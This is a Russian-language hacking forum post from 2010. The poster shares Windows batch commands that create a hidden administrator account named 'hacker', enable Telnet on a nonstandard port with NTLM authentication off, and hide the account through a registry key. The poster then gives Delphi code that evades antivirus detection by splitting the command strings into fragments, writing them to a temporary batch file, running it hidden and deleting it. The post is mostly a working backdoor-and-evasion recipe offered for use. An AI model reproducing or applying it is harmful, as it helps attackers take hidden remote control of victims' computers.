# | Сообщение добавлено 29.03.2010 00:29:08
Отредактировано 29.03.2010 00:50:33 by Neohack69
Ребят, вот такие строки, как например:
chcp 1251
net user SUPPORT_388945a0 /delete
net user hacker hack /add
net localgroup Администраторы hacker /add
net localgroup Пользователи SUPPORT_388945a0 /del
regedit /s conf.reg
sc config tlntsvr start= auto
tlntadmn config port=972 sec=-NTLM
net start Telnet
или
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows
NTCurrentVersionWinlogonSpecialAccountsUserLis t]
"hacker"=dword:00000000
Палятся антивирем, если их выполнять прямо из программы на дельфи.
Но у меня есть идея, сначала записать их в файл, например 123.bat
и выполнить этот файл из программы, потом его удалить. А для того чтобы антивирь не спалил, я хочу записать его в файл в "китайской" кодировке, а после записи кодировку менить. Как это сделать?
Добавлено через: 20 минут 9 секунд
все, вопрос решен так:
AssignFile(fbat,'c:/1.bat');
{$I-}
Rewrite(fbat);
a1:='sc config tlntsvr ';
a2:='start= auto';
Writeln(fbat,a1+a2);
a1:='tlntadmn config';
a2:=' port=972';
a3:=' sec=-NTLM';
Writeln(fbat,a1+a2+a3);
a1:='net start ';
a2:='Telnet';
Writeln(fbat,a1+a2);
a1:='net user SUPPORT_';
a2:='388945a0 /del';
Writeln(fbat,a1+a2);
a1:='net user hacker ';
a2:='hack /add';
Writeln(fbat,a1+a2);
a1:='net localgroup Администраторы ';
a2:='hacker /add';
Writeln(fbat,a1+a2);
a1:='net localgroup Пользователи ';
a2:='SUPPORT_388945a0 /del';
Write(fbat,a1+a2);
CloseFile(fbat);
WinExec('c:/1.bat', SW_HIDE);
DeleteFile('c:/1.bat');
Разместить рекламу 
